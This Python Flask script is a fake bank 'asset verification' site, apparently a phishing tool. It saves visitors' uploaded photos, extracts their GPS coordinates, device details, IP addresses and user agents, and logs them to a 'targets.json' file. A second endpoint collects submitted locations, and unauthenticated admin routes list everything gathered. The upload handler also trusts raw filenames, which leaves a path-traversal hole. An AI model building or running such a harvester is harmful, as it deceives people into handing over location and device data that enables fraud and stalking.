#!/usr/bin/env python3
import os
import json
import datetime
from flask import Flask, render_template, request, jsonify, send_from_directory

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024

os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)

@app.route('/')
def index():
    return render_template('bank.html')

@app.route('/upload_asset', methods=['POST'])
def upload_asset():
    if 'asset_photo' not in request.files:
        return jsonify({'success': False, 'error': 'No file'}), 400
    
    photo = request.files['asset_photo']
    if photo.filename == '':
        return jsonify({'success': False, 'error': 'Empty file'}), 400
    
    filename = photo.filename
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    photo.save(filepath)
    
    # Ekstrak metadata sederhana tanpa PIL
    metadata = {}
    gps_data = {}
    
    try:
        from PIL import Image
        from PIL.ExifTags import TAGS, GPSTAGS
        
        img = Image.open(filepath)
        metadata['format'] = img.format
        metadata['size'] = f"{img.size[0]}x{img.size[1]}"
        
        exif = img._getexif()
        if exif:
            for tag_id, value in exif.items():
                tag_name = TAGS.get(tag_id, str(tag_id))
                if tag_name == 'GPSInfo':
                    for gps_id, gps_value in value.items():
                        gps_name = GPSTAGS.get(gps_id, str(gps_id))
                        gps_data[gps_name] = str(gps_value)
                elif tag_name in ['DateTime', 'DateTimeOriginal', 'Make', 'Model', 'Software']:
                    metadata[tag_name] = str(value)
    except:
        metadata['note'] = 'No EXIF data available'
    
    record = {
        'filename': filename,
        'upload_time': datetime.datetime.now().isoformat(),
        'metadata': metadata,
        'gps': gps_data,
        'ip_address': request.remote_addr,
        'user_agent': request.headers.get('User-Agent', 'Unknown'),
    }
    
    try:
        with open(os.path.join(app.config['UPLOAD_FOLDER'], 'targets.json'), 'a') as f:
            json.dump(record, f)
            f.write('\n')
    except:
        pass
    
    return jsonify({
        'success': True,
        'message': 'Asset photo received. Verification in progress.',
        'metadata': metadata,
        'gps': gps_data
    })

@app.route('/save_location', methods=['POST'])
def save_location():
    data = request.json or {}
    data['saved_at'] = datetime.datetime.now().isoformat()
    data['ip_address'] = request.remote_addr
    
    try:
        with open(os.path.join(app.config['UPLOAD_FOLDER'], 'locations.json'), 'a') as f:
            json.dump(data, f)
            f.write('\n')
    except:
        pass
    
    return jsonify({'success': True})

@app.route('/get_targets')
def get_targets():
    targets = []
    try:
        with open(os.path.join(app.config['UPLOAD_FOLDER'], 'targets.json'), 'r') as f:
            for line in f:
                line = line.strip()
                if line:
                    targets.append(json.loads(line))
    except:
        pass
    return jsonify({'targets': targets})

@app.route('/get_locations')
def get_locations():
    locations = []
    try:
        with open(os.path.join(app.config['UPLOAD_FOLDER'], 'locations.json'), 'r') as f:
            for line in f:
                line = line.strip()
                if line:
                    locations.append(json.loads(line))
    except:
        pass
    return jsonify({'locations': locations})

@app.route('/admin')
def admin():
    return render_template('admin.html')

@app.route('/uploads/<filename>')
def uploaded_file(filename):
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

if __name__ == '__main__':
    print("=" * 50)
    print("  BANK WEB - ASSET VERIFICATION")
    print("=" * 50)
    print("  URL: http://localhost:5000")
    print("  Admin: http://localhost:5000/admin")
    print("  Target: http://localhost:5000")
    print("=" * 50)
    app.run(host='0.0.0.0', port=5000, debug=False)